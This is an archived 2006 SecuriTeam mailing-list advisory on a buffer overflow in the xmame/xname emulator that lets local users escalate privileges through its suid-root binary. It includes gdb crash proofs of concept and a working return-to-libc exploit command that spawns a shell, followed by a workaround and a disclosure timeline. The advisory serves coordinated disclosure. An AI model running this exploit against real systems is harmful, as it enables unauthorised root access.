

[UNIX] Xname Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-01/msg00050.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 15 Jan 2006 18:39:00 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Xname Buffer Overflow

SUMMARY

<<http://x.mame.net/>> Xname and xmess "are ports of MAME, the Multiple Arcade Machine Emulator and MESS, the Multi Emulator Super System. They run primarily on Linux and various flavors of UNIX, although some other operating systems, such as BeOS, are supported to some degree". A buffer overflow vulnerability in xname allows local attackers to gain elevated privileges.

DETAILS

Vulnerable Systems:

- * xname version 0.102

Several functions in `src/fileio.c` and `src/unix/fileio.c` do not properly handle large inputs. These can be used to cause buffer overflows. Most of the distributions install xname with `suid root`. This means that local user can use xname to gain root privileges.

Exploitation requires an attacker to send a specially constructed input to any of these arguments:

- * lang

[UNIX] Xname Buffer Overflow

- * ctrlr
- * pb
- * rec

Ubuntu has another vulnerable option:

- * jdev

Proof of Concept:

–pb :

```
(gdb) r –pb `ruby –e 'print "A" * 1034`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/games/xmame.x11 –pb
`ruby –e 'print "A" * 1034`
(no debugging symbols found)
** More **
(no debugging symbols found)
[Thread debugging using libthread_db enabled]
[New Thread –1211603264 (LWP 8770)]
DGA requires root rights
Use of DGA–modes is disabled
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
info: trying to parse: /etc/xmame/xmamerc
error: /etc/xmame/xmamerc(71): unknown option joyusb–calibrate,
ignoring line
info: trying to parse: /home/xwings/.xmame/xmamerc
info: trying to parse: /etc/xmame/xmame–x11rc
info: trying to parse: /home/xwings/.xmame/xmame–x11rc

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread –1211603264 (LWP 8770)]
0x41414141 in ?? ()
```

–rec :

```
(gdb) r –rec `ruby –e 'print "A" * 1020`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xwings/coding/sploit/xmame/xmame–0.102/xmame.x11
–rec `ruby –e 'print "A" * 1020`
(no debugging symbols found)
** More **
(no debugging symbols found)
info: trying to parse: /usr/local/share/xmame/xmamerc
info: trying to parse: /home/xwings/.xmame/xmamerc
```

[UNIX] Xname Buffer Overflow

```
info: trying to parse: /usr/local/share/xname/xname-x11rc
info: trying to parse: /home/xwings/.xname/xname-x11rc
info: trying to parse: /usr/local/share/xname/rc/robbyrc
info: trying to parse: /home/xwings/.xname/rc/robbyrc
```

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Exploit:

Platform : Ubuntu
Xname Version : 0.102 – Selfcompile
Exploit Method : Return to Libc

```
xwings@pauillac.$ ./xname.x0 -pb `ruby -e 'print "\x90" *
1016;print "\xd0\xf6\xd8\xb7";print "DUMP";print "\xaa\xf8\xff\xbf"'`
info: trying to parse: /usr/local/share/xname/xnamerc
info: trying to parse: /home/xwings/.xname/xnamerc
info: trying to parse: /usr/local/share/xname/xname-x11rc
info: trying to parse: /home/xwings/.xname/xname-x11rc
sh-3.1$
```

Workaround:

Disable SUID root for all the installed xname executables. Do not run
xname.x11, rather use xname.sdl.

Vendor response:

Upgrade to CVS version. <<http://x.name.net/download.html>>
<http://x.name.net/download.html>

Disclosure Timeline:

- * 01.01.06 – Initial vendor notification
- * 02.01.06 – Initial vendor response
- * 11.01.06 – Vendor reply, bug fixed
- * 11.01.06 – Coordinated public disclosure

ADDITIONAL INFORMATION

The information has been provided by <<mailto:xwings@xxxxxxxxx>> KaiJern,
Lau.

The original article can be found at:

<http://www.mysec.org/text_advisory/xname-lang-overflow.txt>
http://www.mysec.org/text_advisory/xname-lang-overflow.txt

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[UNIX] Xname Buffer Overflow

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- Prev by Date: [*\[EXPL\] Serial Line Sniffer Buffer Overflow \(Exploit\)*](#)
 - Next by Date: [*\[UNIX\] Open Motif Multiple Buffer Overflow*](#)
 - Previous by thread: [*\[EXPL\] Serial Line Sniffer Buffer Overflow \(Exploit\)*](#)
 - Next by thread: [*\[UNIX\] Open Motif Multiple Buffer Overflow*](#)
 - Index(es):
 - ◆ [*Date*](#)
 - ◆ [*Thread*](#)